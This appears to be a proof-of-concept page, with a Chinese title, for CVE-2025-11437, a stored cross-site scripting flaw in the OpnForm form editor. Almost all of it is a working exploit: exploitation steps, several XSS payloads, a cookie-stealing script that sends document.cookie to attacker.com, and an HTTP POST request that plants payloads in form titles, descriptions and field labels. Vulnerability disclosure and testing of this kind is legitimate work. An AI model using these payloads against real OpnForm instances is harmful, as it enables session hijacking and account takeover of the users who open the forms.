CVE-2025-11437 JhumanJ OpnForm表单编辑器跨站脚本漏洞

<!-- CVE-2025-11437 PoC - Stored XSS in OpnForm Form Editor --> <!-- Vulnerability Location: /api/open/forms/ (Form Editor Component) --> <!-- Affected Versions: OpnForm <= 1.9.3 --> <!-- Step 1: Attacker authenticates to OpnForm with valid credentials --> <!-- Step 2: Attacker creates a new form via Form Editor --> <!-- Step 3: Inject malicious payload into form fields (e.g., form title, description, or custom fields) --> <!-- Example payloads for different XSS contexts: --> <!-- Payload 1: Basic script tag injection --> <script>alert('XSS-CVE-2025-11437')</script> <!-- Payload 2: Image tag with onerror event handler --> "><img src=x onerror=alert(document.domain)> <!-- Payload 3: SVG-based XSS payload --> <svg/onload=alert('XSS')> <!-- Payload 4: Cookie stealing payload (for demonstration) --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Step 4: Save the form and share the form URL with victim users --> <!-- Step 5: When victim visits the form page, the malicious script executes in their browser context --> // Example HTTP Request to create malicious form: // POST /api/open/forms/ HTTP/1.1 // Host: target-opnform-instance.com // Content-Type: application/json // Cookie: <authenticated_session_cookie> // // { // "title": "<script>alert('XSS')</script>", // "description": "<img src=x onerror=alert(document.cookie)>", // "fields": [ // { // "type": "text", // "label": "<svg/onload=alert(1)>", // "name": "field1" // } // ] // }